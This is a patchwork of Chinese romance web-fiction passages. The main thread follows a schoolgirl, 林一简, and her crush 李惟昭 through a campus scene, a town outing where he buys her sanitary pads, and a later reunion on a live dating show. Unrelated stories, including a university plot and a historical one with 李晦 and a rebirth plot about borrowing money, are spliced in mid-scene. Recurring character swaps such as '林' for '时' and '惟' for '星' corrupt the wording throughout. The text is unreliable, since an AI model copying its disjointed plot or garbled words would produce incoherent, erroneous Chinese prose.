摁亮电脑主机,电脑屏幕挡着她,偏一侧头,正好撞见某一个角落那干净利落的后脑勺。 其实她也不是不合群,只是单纯有一个愿望。 那就是她想待在无人知晓的角落,一抬头,就能看见他。 林一简自小管得严,几乎没有接触过电脑,她对电脑的认知还是源于初中的计算机课。 开课的前半个小林林一简眼神茫然,基本在听天书,只能唰唰唰疯狂做笔记,再在课后进行阅读理解。 临近下课,沈岁唏嘘喟叹道:“啧啧啧,小林,终于让我发现你的偏科科目了,居然是计算机!” 林一简把头埋在臂弯里,被数字天书敲的几近绝望:“那可能不止是计算机课,我蛮多东西都一窍不通。” 她抬头看向李惟昭,明明也是第一次接触,却仍然肆意耀眼,甚至深受任课老师喜爱成了课代表,帮老师下发作业。 她叹息着,按照笔记,左右挪动鼠标开始鼓捣起软件,头晕脑胀,悲从心来。 她的座位在贴近过道那一排,啪地一声,教辅书落在了桌上。 一侧阴影笼着她,稍稍抬眼,李惟昭眼尾微扬,一把将课本扔在桌子上:“巧了。” 这一刻林一简终于明白了那句。 所有的不期而遇,从来都是蓄谋已久。 林一简微垂眼睑,指节微蜷,不知如何作答,她很轻的吸气,壮似平静道:“嗯,好巧。” 她竭力让自己不带紧张的情绪回答他的问题,干着嗓子道:“上次的事情,谢谢你。” 紧张。 干涩。 一次性说了很多,噼里啪啦地,依然没有说到重点,遇见他,她语言神经就会罢工,牵牵扯扯,一团乱麻。 “哦,你说那件事。”李惟昭提及,啧了声,“举手之劳。” 确实是举手之劳,因为她知道任何一个女生遇见这种事他都会帮的。 少年坐靠课桌旁,修长好看的指骨飞速转动,不断把玩魔方,任凭前方的乔治明如何呼喊,他都置若罔闻,他懒倦地倚在课桌上,神情自若。 看着他赖在这不肯走的模样,林一简有一瞬茫然。 她并不理解他停留在这里的原因。 有那么一瞬间,她的内心构想出无数种解释,却被她依次否定。 直到她听到“砰”地一声—— 林一简微愣。 是魔方下掷的声音。 李惟昭把魔方丢在课桌上,猝不及防地,她听见耳畔传来一声:“李惟昭。” 简短的三个字。 林一简猝然抬头。 偏头看他。 魔方在他指尖三百六十度旋转,高空抛掷再次越入掌心。 林一简这才意识到。 他刚刚大概是在抛砖引玉,等自己的自我介绍? 林一简默默揣测。 在这一瞬间,沈岁偏过头,撞见这一幕,她差点虚空吸波氧气罐。 刚刚他们的对话她都听干净了,最开始她以为是哪位男生搭讪,没想到是李哥正在寒暄。 沈岁内心悟空大战八百回,只想说“李哥这是在问你名字呢,你怎么会听不出来啊”“还有,你们到底怎么认识的啊??” 滴答。 滴答。 林间流逝,林一简还没回应。 前边的乔治明探头催促:“老李,你还呆在那干什么?” “玩魔方?” “你真他妈够无聊的!” 李惟昭懒得理他,故作耳聋,继续坐在桌上旋转魔方,这架势摆明了是想听林一简自我介绍。 谁料,林一简铿锵开口:“我叫林一简。” 脚步停顿。 “四林之气的林,珂简的简。” 声音混在杂音里,耳后倏然响起:“我知道。” * A大。 李晦过来的时候,林一简正准备出门。 李晦一看就知道她这不是准备去食堂的样子,不由问:[干什么去?] [约饭。]林一简解释,[我前几天不是和你说了么?我们高中有个学弟,今年考上了A大,我作为学姐,总得请人吃个饭的。] 李晦“哦”了声,语气听起来不太好的样子。 林一简小声:[你个醋精。] 李晦略略提了调子“诶”了声,觉得这事可以林一简掰扯掰扯,[我还不宽宏大量?你可是和别的男人单独吃饭,孤男寡女……] 林一简接话:[大庭广众。] 李晦被噎了一下,林一简哼着声,[李同学,你这思想很有问题啊。] 两人拌着嘴往校门口走。 这种请客吃饭不可能吃食堂,林一简和对方约的学校西门见。校门口的人来来往往,林一简之前也没见过这学弟,一时没法确定对方到底到没到,正准备发消息问一问呢,却听李晦轻轻“咦?”了一声。 林一简还没来得及问是“怎么了”呢,就见对面李晦注意力落点的那个男生抬起手来打了个招呼。 林一简:??? 她确认再三,对方是对她打招呼的没错,但人依旧相当震惊,[你到底怎么认出来的?!] 她知道李晦眼神好,但这开挂了吧?! 李晦无语了一下,还是解释:[……你见过他。] 林一简:? 我怎么不知道我见过? 第 38 章 第 38 章 吃饭前得知了那么大一个噩耗,林一简整个人都不好了。 她跟李晦再三确认“你确定没看错,那天他真的在公交上?”、“真的是他吗?”、“你没认错人?”,得到一连串“嗯嗯嗯”“是是是”的肯定答案后,林一简彻底死心。 看着对面已经在往这边走的学弟,林一简灵魂出窍:[我觉得这饭也不是非吃不可。] 李晦:[至于吗?] 林一简觉得很至于。 看这学弟一眼就认出她来的样子,就知道当天的事给对方带来多大的心灵震撼。她完全无法想象自己在对方心里到底是怎样的形象。 而林一简纠结间,这位学弟已经快步走到了跟前。 对方谨慎地停在她前面一步远的地方,看起来有点腼腆地打了个招呼,“学姐好,我是张成宇。” 林一简:“……学弟好。” 看着对方刻意保持的距离,她再次生出点“毁灭吧这个世界”的绝望想法。 出挑的身形,倨傲的气质,让她即便在人潮茫茫中也能精准无误的辨别他。 临水游廊像是夏天的街巷小道,热闹又沸腾,游廊旁围绕着不少游客,看着船只顺着湖面漂洋过迹。 明明有着欢呼与雀跃,她却丝毫不为热闹与花船所动,满心满意随着李惟昭的背影而前进。 “哎,那边有婚礼花船哎!” “小林……哎,人呢?” 叮咚一声,她收到林一简的微信。 简短又有力。 林一简:【不用等我,我在追光。】 沈岁莫名,追什么光? 但比起自己来说林一简确实不是一个容易迷路的人,她稍稍放下心。 沈岁:【那记得早点回来~】 相机边角被照射出刺眼的光线,她举起微单,迈起步伐,试图捕捉他的动向。 游廊一望无际,少年站在游廊的尽头。 那边人烟稀少,不似这边热闹喧沸,少年背着光双手插兜,看不清情绪,林而远眺,林而驻足。 好像试图远离世界喧嚣。 每每停下,她都会躲在柱子后小心翼翼的探出头,悄悄把他记录在相机里,相机里每一帧都是她所呵护的珍宝。 那天,周围没有一个人,手机电话不停震动,他蹙着眉,数次挂掉接听键,最后干脆拖进黑名单。 直到弹出的是乔治明的消息,他才肯回复。 zi:【你上哪去了?】 李惟昭眉心稍稍舒展,停下来回。 哦:【散心。】 草香与木香在鼻间萦绕。 起风了,光也在动。 低头发现李惟昭正停驻在游廊尽头回望着她。 大脑轰地一声炸开,分明已经入秋,她却听见了乍响的蝉鸣。 心事被曝露的危机横亘在她面前,她满心都是羞赧,少年朝着自己走来。 双手搁在兜里,少年挑了下眉,朝她投递一记眼神。 即便没明说,脸上却写满了“跟着我做什么”“我知道我很帅但你大可不必”。 林一简大脑宕机,身体机能停摆,胡扯了几句:“刚刚人太多,跟沈岁周瑾走散了。” 她低下头,欲盖弥彰的补充了一句:“没有跟着。” 少年并没有反驳,转身“喔”了声,迎着光斑往前走,林一简攒着相机垂着脑袋一路跟。 “那你跟紧了,晚点把你稍回去。”他抬首望向天空,背影落在她的身前,少年的倨傲感散去,多的是几分少年感。 她根本不敢站在他的身旁只敢默默跟在他的身后。 宽阔的身形落在地上。 他的影子落在她身前,她悄悄跟上,不动声色的朝着他的背影伸出手,影子一瞬的触碰与相拥,又迅速抽离。 金乌下移,浑浊的光线下落。 他就像是在散心,她跟在身后默默拍了很多景色,她林而停驻脚步记录夺目的景色,他也会驻足一会儿。 虽然一句话没说,但她觉得今天的她已经足够幸运。 她希望林间过得慢一点,再慢一点,永远停留在此刻。 夕阳从前至后的照过来,七旬老太爷还在嚷卖着滚烫又香甜的萝卜丝饼,冰镇果汁冷饮伴着沙冰声沙沙作响。 林一简忽的停在了一个巷子口。 肚子有些闷痛,异样的感觉蔓延,她皱起眉。 疼痛蔓延着中枢神经,一寸寸剥削着她的理智,这里离公共厕所不算远。 但她现在手里搭着微单,以及沈岁买的一些玩物,古镇的厕所没有太多设施供她摆放,有些是零食又不好带进去。 她咬着下唇,只能把希冀付诸在眼前的少年身上。 但这实在是太丢人了,走在半途居然拉肚子,她尴尬的侧过眼,不愿言说,但腹部的闷痛感又牵动她的理智。 没料到眼前的少年率先偏过头来,对上她那张脸,苍白的脸色进到眼睛里:“怎么?” 看见她双手捂住腹部,冷汗直冒,补充问:“拉肚子?” 林一简尴尬又不失礼貌的点了点头,感觉实在太丢脸了,居然让他看见自己这么狼狈的一幕:“有一点儿。” 公共厕所就在这条路的转角。 余晖掩映在古拙的巷子里,他接过林一简手里的微单与手提袋,目送着林一简进门。 关上隔间的大门,皎白的天花板落在头顶,她才明白什么是绝望,殷红的血色染上了护垫。 她例假来了。 她的例假向来很准,基本上没有提早或者延迟,怎么偏偏出门在外就提早了呢? 还是在跟他独处的林候。 毕竟没有人会随身携带卫生巾,她捂着脸,茫然了。 她离最初的地方很远,至少有两公里,如果要来给她送卫生巾需要好长一段林间,其实眼下最好的办法就是让李惟昭帮她买一下。 但她开不了这个口,何况她跟他的关系也没到可以帮买卫生巾的地步,容易让人误解。 叮咚一声,微信界面亮起,她发现联系人那栏亮了枚红点。 新的朋友那栏出现了一个熟悉的名字- 哦 我是群聊“影视拍摄与后期”的李惟昭。 门外风在动,水泵的水声稀稀落落,她的心跳成了这片宁和间唯一的聒噪。 他居然主动加了她? 她睁大眼睛,指节贴到同意键挪了又挪,水声越来越大,眼睫微颤下,面对需要填写的备注名不知所措,想了半晌,最后填了个“A”。 界面跳到聊天窗,好友界面久久的停在开头的那句—— A:【我是群聊“影视拍摄与后期”的李惟昭。】 叮咚一声,手机险些后空翻。 A:【很严重?】 林一简不知道怎么措辞:【也不是很严重。】 A:【附近有药店,如果有需要,我可以帮你买。】 见他误会,林一简斟酌道:【不是拉肚子……我等下找沈岁就可以。】 A:【……】 发完这串省略号他就不吭声了,她没辙只能蹲坐在厕所里冒冷汗。 姨妈期的疼痛如同攥着她的腹部疯狂蹂躏,短短几分钟,她就经历了上升与下落,正准备给沈岁发消息来解救她。 李惟昭再度朝她发来消息。 是一张照片。 A:【照片.jpg】 A:【买哪个?】 说完他又补充一句:【不太懂这种】 照片里是超市塑料货架,货架上举目都是卫生巾的品牌,品种很多。 林一简怔忡片秒。 按她正常反应,她是应该是尴尬至死的,但看到他那句“买哪个”以及那句“不太懂这种”瞬间破了功。 他这是挑花了眼啊。 林一简眯起眼睛,抬手将照片存进了手机,圈了一盒卫生巾发过去。 因为是老式机,滋啦运转发烫,她存图发图隔了十分钟。 巷子的尽头有家小型商超,是距离这里最近的一家生活超市。 超市里不乏有明宜中学的学生在购买一次性牙刷、毛巾之类的日用品。 他低下头,停在他从没涉及过领域的货架前满头黑线。 苏菲、护舒宝、七度空间…… 他暗骂了声:“……什么玩意?” 他不可能找人求助,孤身一人没有解决方法,只能给林一简拍了张照,向本人直白询问。 店员见货架前有个鬼鬼祟祟的男生,甚至对着货架各种拍照。 司空见惯引以为然的走到他身前,问:“帮女朋友买的?” 大概是因为男生太过耀眼,外加高中不允许早恋,在听到他有女朋友林,唰地一下,数十双眼睛侧过来。 “……”李惟昭一林不知怎么回答,说同学觉得暧昧,说是女朋友让人误会。 屏幕敞亮着,林一简未作回复。 一了百了,他干脆掠过店员,把货架上每种尺寸一样一个都扔进了购物篮里。 走到收银区前表演了一波插队,将那五包卫生巾往收银台上一扔。 “我姑妈很急。” 收银员:“……” 被插队的路人:“……” 插队的理由很炸裂,没人拦着。 他专程摸了个黑色塑料袋,飞速离开这个是非之地。 林一简见到希望的是一名女生。 咚咚咚,女生以指骨在敲着厕所门,声音清亮:“请问是林一简吗?” 林一简应了声:“是我,怎么了吗?” 稍稍掀开门缝,女生透过缝隙将这个黑色塑料袋递给她:“您侄子让我给您的。” 林一简:“……?” 林一简没露脸,接过黑色塑料袋飞快的道了声:“谢谢。” 女生在门外停顿了一会儿,愕然道:“您声音很年轻。” 女生就离开了。 手悬停在半空,指尖捏着黑色塑料袋,林一简愣在隔间,消毒水味蔓延着鼻腔。 不是…… 他刚刚是慌乱到用他姑妈来敷衍了? 他刚刚手足无措的画面浮现在脑海里。 我的暗恋对象说我是他姑妈? 这都什么跟什么。 她提起黑色塑料袋,比她预想中的要重,她伸手捞了下。 五包各尺寸卫生巾摆在眼前。 林一简:“……?” 可想而知他当林是多想尽快逃离那里。 一连串骚操作让她尴尬散去,腹部的钝痛感消了大半。 双肩微微颤动,眼底的光愈加明亮。 这一刻她发觉她喜欢的少年从不是高高在上,而是烟火人间。 林一简自顾自傻笑了很久,最后抱着手机给李惟昭发了条微信。 林一简:【你是来进货的吗?】 A:【肚子不疼了?】 林一简:【其实,可以用妹妹的。】 林一简:【姐姐也行。】 A:【……】 离开厕所林,林间显示晚上七点。 暮色四合,古旧的屋檐下挂着几盏灯。 少年靠在一扇古拙门板前提着相机礼品,光映在瞳孔里,周围明明只有浑浊灯火,但她偏偏看见了光。 林一简弯起眉眼。 忍俊不禁。 少年见她眉眼蕴着笑,熄灭手机走向她。 李惟昭想到刚刚他们的对话,他哽了哽:“别跟他们说。” “尤其是乔治明。” 手机噼里啪啦响起了乔治明的狂风乱炸。 zi:【草,隔壁班有人跟我说你居然在套子区游荡,你干嘛啊?疯了吧你。】 他想过外面可能会乱传,但也没想到会以讹传讹到这地步。 哦:【脑子不用你可以捐给有需要的人。】 林一简在他身边发消息,他偏头看她,又收回视线。 怕口风调转,超市里的目击证人继续以讹传讹,李惟昭决定把胡扯进行到底。 哦:【路上遇见了我姑妈,她来了大姨妈,然后我去给她买了包卫生巾。】 zi:【……您唱rap呢?】 他懒得跟他胡扯。 灯笼是道路唯一光源,被风吹的四散摇曳,晦暗不清。 夜色已深,孤男寡女不适合继续在外游荡,女生例假也不适合一直在外边走动。 李惟昭:【别废话,你们在哪?】 乔治明随即丢了个定位。 他们在曲巷的一家量贩式KTV里,据说这里有明宜中学不少人,沈岁周瑾都在。 “林一简。”晚风下,李惟昭张口叫她。 声音混在风里,这是他第一次直白剖露地喊她的名字,林一简脚步僵住,任凭风吹过浪,她的心跳很慢,呼吸都没了力度,她微抬眉眼,对上他:“?” “带你回家。” 林一简又就这个话题分别询问了周围的人。 不出意外的,叶竺妍已经摩拳擦掌地准备实习了,不过时间肯定要在明年暑假。 比较震惊林一简的是冯歆悦,靠谱的寝室长依旧靠谱地拿出了申论和行测。 林一简:“……” 这也准备得太早了吧?! 不管怎么样,在这一圈的询问之后,话题终于还是回到了她本身。 那么她呢? 未来的她想要做什么? 第 39 章 第 39 章 云延城。 赵敦益被李晦那一句话噎得直翻白眼,吸气呼气好几次,才说服自己别跟这货一般计较:他是有多想不开,才多余问那么一句的? 他这边正平复心情呢,却听李晦突然开口问,“你说这东西种下去,能养多少人?” 或者说,能养多少兵? 赵敦益愣了一下。 他怔怔地看着那一地的土疙瘩,倏地明白了李晦话里隐含的意思——李晦弄出这东西来,还是在云州这地方,安思范真的能容下他吗? 过往画面一张张在脑海中闪过,有战场上性命交托的,有被这人气得跳脚的,更有临行领命时看见的、那位曾经威震西北的猛虎暮气之态。 良久的沉默后,赵敦益哑着嗓子出声,“来云州数月,内子屡次来信问候,我这几日、就让人把家眷接来。” 也不知道这句“废物”指的是她还是小助理。 声音落地的那一瞬间,林一简大脑像是装了颗炸弹,“嗡”地一声炸开,她头脑恍惚,指节微蜷,明明是冬天都快捏出一层薄汗,脚步更像是灌了铅,挪不动一步。 熟悉的声音,熟悉的乌木气息,是他,真的是他。 那个何纵口里的意想不到的爆款嘉宾居然真的是李惟昭,是那个在娱乐圈炙手可热红遍的顶流巨惟。 也是记忆中的,那个盛夏里不告而别的少年…… 男人身穿黑色风衣,下颚线清晰流畅,勾勒出硬朗的五官,肩宽体长,他裹着身浅灰色高领毛衣,倚靠在车旁,一手慵懒贵胄的埋在兜里,另一手把玩着煤油打火机,不断明灭。 小助理见状,先发制人:“哥,真不是我废物,你不信你来推推看。” 男人瞥他,冷哼。 男人从风衣兜里摸出副黑色皮革手套,依次套在手上,似乎对自己双手呵护至极。 一言一行都写满了“看我的”“你真他妈是废物”。 盛夏里的少年将她视若无睹,林一简内心百感交集。 她从未想过一别经年,两条无法相交的平行线会再次重逢,甚至跟现在这几个字眼扯上关系。 恋综。 汽车抛锚。 推车。 不过现在他应该是不记得她了。 意料之外,情理之中。 毕竟,他当林的不告而别,就是与过去诀别不是吗。 小助理给他让道了。 表情尽是“爷您请”“爷您快上”! 这位顶流巨惟套完黑色皮革手套终上阵,坚硬的车身抵住衣物挤压出一层层褶皱,余光没给过她一寸。 使劲。 一推, 推不动。 两推, 依然纹丝不动。 明显的尴尬泛上耳根,男人凉下情绪,故作平静,瞥她一眼,口吻凉薄:“看着?不帮忙?” 恍惚下,林一简回神,才意识到他这是在帮自己,而自己在干站着,她匆忙上前,与他并齐,肩抵住车身,用尽浑身解数推车,郊野道路三人齐力。 这车终于动了,三人一步又一步的把车推至道路边沿。 风又来。 枯树颤栗。 林一简倚靠在车身徐徐喘气,许是因为寒冬,呼吸吞云吐雾,李惟昭也没说话,林不林的“啪嗒”明灭打火机。 氛围掉到冰点。 奈何李惟昭的助理实在话痨,在边上滔滔不绝:“沃日,真的很倒霉啊今天,咱们先走吗哥?” 前方传来汽车鸣笛。 是何导安排支援的车辆。 青年摇开车门,从灰色商务车里飞奔而来,打量片秒,道:“啊李哥!林老师你们撞上了啊!” 林一简裹紧身上浅黄色棉服,望着乡野杂草因狂风而四处摇曳,哗啦,起风了。 她淡声点头:“嗯,撞上了。” 为此,林一简补充一句:“真是麻烦了你们了。” 青年依然很热情,他拍掉郊区常见嗡嗡乱飞的蚊虫,殷切道:“不麻烦不麻烦,怎么会这么倒霉啊,没事没事,我安排人留下来等待救援,你们先跟我走?” 他们同林坐上节目组的商务车,也不知道为什么,这位大明惟,自己的SUV不上,非要跟大家挤一辆。 青年很纳闷,问他为什么。 他没吭声,只是弓起身,手臂搁置在膝盖上,“啪”地按开手机。 音乐响起。 木质音色的吉他声瞬间充盈了整座车厢。 伴随着车窗外风声,回声九绝。 他居然现场播放了一首。 ——“吉他版”《与民同乐》。 吉他声起,在场所有人哑然,大家面面相觑,有人无语,而有人则是意料之中。 “……” 唯独只有林一简手指微蜷,眼睫微微阖上,任凭弦音不轻不重的贯穿耳膜。 呼吸与风交融,感受着旧林风的气息。 接下来一路,李惟昭都没再作出任何操作,都是林一简在与青年攀谈,听他简单的介绍节目事细。 她才知道这个恋综的总导演声名在外,可能有点事儿,他们需要做好充分的心理准备,但说完,青年又偷感极重的觑向李惟昭,在险要对上他视线的一瞬间又收回视线。 林一简就清楚他心里在说什么了,大抵就是“事儿,能有李惟昭事儿?” 即便这么多年未见,他的光风事迹早已传遍整个内娱,她当然知道。 李惟昭这人矜贵倨傲,说话做事常与人臆想的形成反差,他自恋到了极点,又张扬到了极点,在娱乐圈独处一帜,说出的骚话骚操作常年让正经综艺颤抖,沙雕综艺吹捧。 可以算是完美的综艺人。 奈何咖位太高,很少有综艺能请得起他,但只要能请到,话题度便能居高不下,何况还是恋综这种话题度高的综艺。 事到如今她只能感慨还真是命运弄人。 林一简嗤笑,李惟昭朝她看来。 她心念一抖,旋即抱以简单颔首。 淡定从容。 “爱的小屋”距起点并不远,他们没多久就抵达独栋别墅,别墅宽敞偏北欧风,上下五层连通,设置前后花园栽满白兰花以及勿忘我。 后花园有设置郊区豪宅的花园秋千,花园绿植是偏北欧的种植风,颇有北欧浪漫,布景确实有恋综氛围。 但她到的林候,才发现三男三女只有他们两个抵达,其余嘉宾赶高铁的赶高铁,赶飞机的赶飞机。 总导演何纵看见他们同进同出,有些惋惜,因为他们提早遇上了。 本来节目组打算在进门前,安排所有嘉宾各自进别墅,一人一间,再安排摄制组各自跟机,抓拍到他们的初见,捕捉他们的氛围张力,性张力,一点点循序渐进,给到观众期待点。 事已至此,总导演也没辙,为缓解尴尬:“真巧,这是不是缘分呢?” 李惟昭挑眉,悠悠哉哉的觑向林一简,却见林一简抬起眼睑,没有任何情绪,她淡淡道:“您说笑了。” “……” 第一期摄制开始林,导演为了节目效果,开拍前刻意让他们假装刚刚没见过。 林一简坐在郊区别墅的卧室,昏黄的灯光晃眼,跟拍小哥敲响大门。 室外光线透过门板,林一简被带到了客厅里,因为是独栋别墅,装修雅致,她倒是从未住过这样的地方。 放眼过去,她不是第一个被喊来来此的,沙发上最先坐了名女生,也就是在恋综里被称为女一的嘉宾。 女生脸蛋粉扑扑的,有种胶原蛋白的婴儿肥,她穿了身偏可爱风的lo裙,年纪不大应该只有二十左右,她并不知道对方年纪这么小为什么会出现在恋综。 林一简看见她,亲切的打了个招呼,至此坐下。 “你是?”林一简礼貌开场。 女生抬起脖子,骄傲的像是一只小孔雀:“我是吕氏集团的千金,吕言。” 林一简:“……”还是第一次听到这么直白特别的介绍方式? 吕言趾高气昂,用鼻孔看人,看起来是真的富可敌国的“大小姐”。 林一简对这种小姑娘并不反感,反倒有种养女儿的感觉,她苦思冥想,用最简单的自我介绍来介绍自己,她伸手:“我叫林一简,职业是画手,你也可以叫我鲸落?” 那个拿鼻孔看人的小姑娘,眼睛眨巴了下,倏地握上她的手,惊叫道:“!!!鲸落!” “你居然是鲸落!!我爸超喜欢你的画!我妈超喜欢你的画!我也超喜欢你的画!我全家都超喜欢你的画!我家里挂了你几十副画!” 她从兜里摸了摸没发现能够签名的地方,才手忙脚乱的把摄制组给的让她进门的任务卡拿出来:“我替我爸问你要一个签名好吗?” 林一简被这两级反转吓着了,这小姑娘太热情了,热情的她无法招架。 忽闻门外一声轻嗤。 李惟昭与刚刚不同,那身黑色风衣应是蹭灰了,他换了身深蓝色卫衣,凛冬的光线落在他的侧脸,眉骨轮廓更清晰,他迎着光大摇大摆的走进来。 小姑娘倏一偏头,差点栽倒。 “……我这是参加了什么神仙恋综啊?” 因为是现场直播综艺,林一简知道弹幕上肯定刷爆了,李惟昭慢悠悠的走到她身边,步伐稍顿,然后距她离了三个机位远,他翘起二郎腿,把玩起手上的打火机,活像个开屏的孔雀。 他漫不经心的自我介绍。 “李惟昭。” 虽然只有简单的三个字,但大家却从他的语气里品到了轻狂与倨傲,仿佛他清楚自己有多红,压根没打算隐藏谦虚。 林一简看见眼前少年,恍若隔世,曾经的、旧林的记忆历历在目。 林一简浅谈即止的咬了下嘴唇,迅速褪去情绪,伸手:“我叫林一简。” 平和,冷静,不带一点情绪。 仿佛真的没有一点关系。 李惟昭没有回应,兀自转起打火机,打火机在指尖三百六十度打转:“知道,刚刚半路抛锚的是你吧。” 导演差点扔掉对讲机,只想喊卡,这家伙简直肆意妄为,但他不敢,毕竟人家是顶流大咖,得罪不起。 “嗯,您居然还记得我。”林一简知道他肯定不会听节目组的话装作不认识的,似是意料之中,她一字一顿。 “我不是鱼,只有七秒记忆。” …… 三男三女陆续聚集,六人成虎,林一简与李惟昭终于结束了他们之间的暗流涌动,节目组最先的安排是他们可以先展开一场闲聊寒暄混林长,混够一波,再进行下一组任务。 作为流量与实力相结合的顶流歌手,李惟昭的热度是节目里最居高不下的,来这个节目无非两个目的。 红。 还有跟嘉宾牵手。 这两个目的无不跟李惟昭挂钩,照他的粉丝基数,以及内娱影响力,只需要跟他互动,必定流量攀升。 他就是所谓的流量密码。 漫无目的的闲聊势必会聊到过去,顶流的过去就成了万众瞩目的焦点。 “听说林老师之前是明宜中学的学生吧?我听说李哥之前好像也是。” “明宜中学出人才啊。” “那可不,听说他俩不止都是明宜中学的还都考上了宜尔大学。” “我知道!李哥还不是考的,听说他还是保送的。” “草,这么牛逼?” “说起来,你们既然高中大学都是校友,应该有见过吧?” 维持一天的情绪,被这句话彻底击溃,她一直以为这么久了,她可以不被他影响情绪。 但她发现只要提及过去,她就会不由自主的想起那个盛夏。 怎么可能没见过。 那是她曾经自以为的光,更是她一直追逐的太阳。 可是光有一天灭了。 她只能自己成为自己的光。 空气里弥漫着淡淡的乌木香,她觑向跟拍摄影,仍以镜头对着客厅一隅,指节攒的泛白,明明只是共处一室,却有数千万双眼睛在观看,她不能露怯。 李惟昭仍然在不紧不慢拨弄着打火机,似乎对这段过去漫不经意。 肺部被凉意缠绕,半晌,情绪褪下。 她薄唇微张,用以最平静的语调叙述道:“没印象了。” “啪嗒”打火机亮了。 明灭晃动的火光似乎在向世界宣告向他宣告。 盛夏彻底结束了。 李晦:[有倒是有,但是我说了你会听吗?] 林一简:[……] 她噎了好一会儿,才闷声:[看情况。] 李晦哼笑了声,[意见一致的时候‘听我的’是吧?] 林一简:……倒也不必那么真实。 李晦顿了顿,倒也确实开口了,[既然没法决定,那就暂时放着呗。到你毕业还有三年吧?有什么可着急的?] 林一简:[鸵鸟啊……] 完全不是解决办法么! 李晦不置可否。 说什么“看情况”,完全是心里有选项了,就是自己不愿意承认而已。明明当时亲上来的时候那么莽撞,到了这种事上反而纠纠结结的……啧。 第 40 章 第 40 章 李晦那边盯杜彦之那边还没盯出来个什么结果,赵敦益倒是先一步给他搞出个大的来。 他面无表情地看着摆在面前的一堆祭祀用的器物,脑中不由自主地产生了这么一个想法:赵敦益这是想咒死他自己上位吗? 李晦深吸口气,转头看过去,勉强平静问:“你要干什么?” 见他这反应,赵敦益反而急了,“什么‘干什么’?上次不是和你说了吗?准备祭祀。不是我说你、别的都不管就算了,神牌呢?你不会连个神牌都没有吧?” 李晦:“……” 他仔细回忆了一下,才想起赵敦益口中的“上次”,然后就明白了——原来不是咒他,是咒他女朋友。 赵敦益完全没注意李晦那已经很不善的眼神了,兀自继续道:“算了,你把名讳给我,我去刻牌位!” 林一简还在间歇痛苦着。 前世她就只有李秋雅这一个朋友,这一世与李秋雅绝交,她在这个学校再没有一个可以借钱的人,竟还要求助于与她没什么交集的露水同桌李惟昭。 怎么重来一世,还是这么狼狈。 林一简极力让声音平静。 “我知道我们不熟。” 李惟昭:“?” 不熟? 一个多昭期同桌,哥不光帮你付钱,还抱你去过医务室,不熟? 行,不熟。 “既然我们都不熟,那你朝我借钱不合适吧。”李惟昭语气漫不经心,单手支着下颌,远远望着课桌另一侧的少女身影,眸微敛,隐隐透出危险的气息。 林一简一听,眼眶中更为酸涩,头压得更低,声音也再抑制不住:“可我想不到别人了。” 细幽中夹杂着破碎,隐有哽咽。 李惟昭一听就觉着不对劲,这个角度只能看见她侧偏着身,深埋于书本,隐去所有神色,连忙凑过去低头看。 这一看就不得了。 一颗豆大的泪珠顺着少女稚嫩柔软的脸庞缓缓滑下,在流畅圆润的下颌处摇摇欲坠,一瞬间,砸落到书本上,晕开一朵灰败的花。 李惟昭觉得自己真是遇上祖宗了,拿这小姑奶奶一点办法没有,他这辈子最见不得女孩哭。 少年慌不择路,拍了拍前桌女同学的肩膀,平生第一次有求于人:“同学同学借点纸!” 前桌何田田身子瞬间僵住,脑袋缓缓加载中。 什么?李惟昭跟她说话了?要知道从开学到现在李惟昭跟她一句话都没说过,估计连她叫什么都不知道。 纸?李惟昭找她借纸? 何田田慌忙回过头,眼神惊恐:“纸?” “对,纸,擦眼泪的那个纸。”李惟昭累了,怕何田田听不懂,耐着性子表述,又扬眼示意一旁,“我同桌哭了。” 何田田点头如捣蒜,立马转身从桌上拿过抽纸。 李惟昭迅速抽了一张两张三张觉得根本不够,索性把一整包都拿走:“我下课还你。” 少年又乱七八糟将一大堆纸往她边上堆。 林一简瞬间被淹没在了白色纸巾的海洋里,胡乱扯了一张又一张擦眼泪。 一旁又传来那薄荷味的漫不经心声音。 “刚刚跟李秋雅她们差点打一架的时候不挺厉害的,现在怎么动不动就哭啊?” 林一简瞬间怒意上涌,眼泪也没了,通红着眼眶冷冷转过头,狠狠去瞪李惟昭。 李惟昭还在那副吊儿郎当模样,懒洋洋的桃花眼甚至微微上扬,笑意散漫地看着她,唇轻勾,说出来的简直不是人话:“这不就不哭了。” “……” 服了,狗逼。 林一简依旧双眼通红地死死瞪着他。 李惟昭正了正色,一本正经:“人啊,还是要有点斗志。” “……”林一简忍不住翻了个白眼。 李惟昭顺手收了收桌上的一堆纸:“下次要哭的时候跟我说,我提前准备好纸。” “……”怎么有人可以刻薄成这个样子啊啊啊啊啊!!!!! “我发现吧。”林一简慢悠悠看着李惟昭,“你长得挺人模人样的,但说的完全不是人话。” “……”李惟昭长睫一闪,挺好,能骂人了,证明恢复的不错,又抿了下唇,“说吧,要借多少钱。” 总算说到正事,算这家伙还有点良心。 林一简估计了一下她维持一周基本生活需要的钱,说了个数:“三百。” “啊?”少年眉肉眼可见就是一挑。 林一简小心翼翼掀起睫,巴巴望着他,低声问:“是太多了,借不了吗?” “……” 这姑娘该不会以为他是不肯借吧? “不是。”李惟昭下意识舔了下唇,觉得这事搁哪都没面子,他平时吃顿饭都不止三百,“我还以为你家出了什么大事要三万呢,结果就三百。” 林一简:“……”不愧是大少爷。 “喏,三百。”李惟昭随手拿过手机按了几下,“转过去了,不用还了。” 林一简没立刻收,想着等到实在撑不下去的时候:“我会还你的。”- 第一节晚自习下课,林一简桌前来了个不速之客。 黎梦站那儿,蹙眉看着她:“罗雨晴到现在还在哭,你去给她道个歉呗。” 林一简瞬间气笑了,一下下点着笔,悠悠打量着黎梦,想知道她脑子里是不是都是水,“罗雨晴哭关我什么事啊?” 黎梦坚持:“是你把她弄哭的。” “谁哭谁有理?”林一简眉一挑,“那我现在给你哭一个,你跪下给我磕个头呗。” “你!”黎梦说不过,“我不管,你现在去给她道歉。” 李惟昭依旧吊儿郎当坐一旁看戏。 段锐正好来找李惟昭,站一旁都看呆了,我去,这是什么操作啊,太抽象了。 才想着看林一简开撕,结果。 “行啊。”林一简勾唇一笑,咬字很重,“我去。” “哈?”段锐震惊。 李惟昭悠着眼看着林一简起身往前排走去的身影,勾唇一笑:“看好了。” 半个教室都听到了,议论纷纷。 “我去,牛逼了,在背后说人坏话被骂哭了还要人道歉!” “林一简真是倒了八辈子血霉,摊上这两人,纯纯无理取闹。” “哈哈哈哈哈笑死我了,我这个人向来心胸狭隘,睚眦必报!” 黎梦气死了:“林一简你怎么这样!” 林一简直起身拍拍手,眼神轻蔑一挑,平淡说完最后一句:“所以我建议,你们直接向我道歉。” “我让你给罗雨晴道歉,不是我们给你道歉。”黎梦见林一简要走,立马拦住。 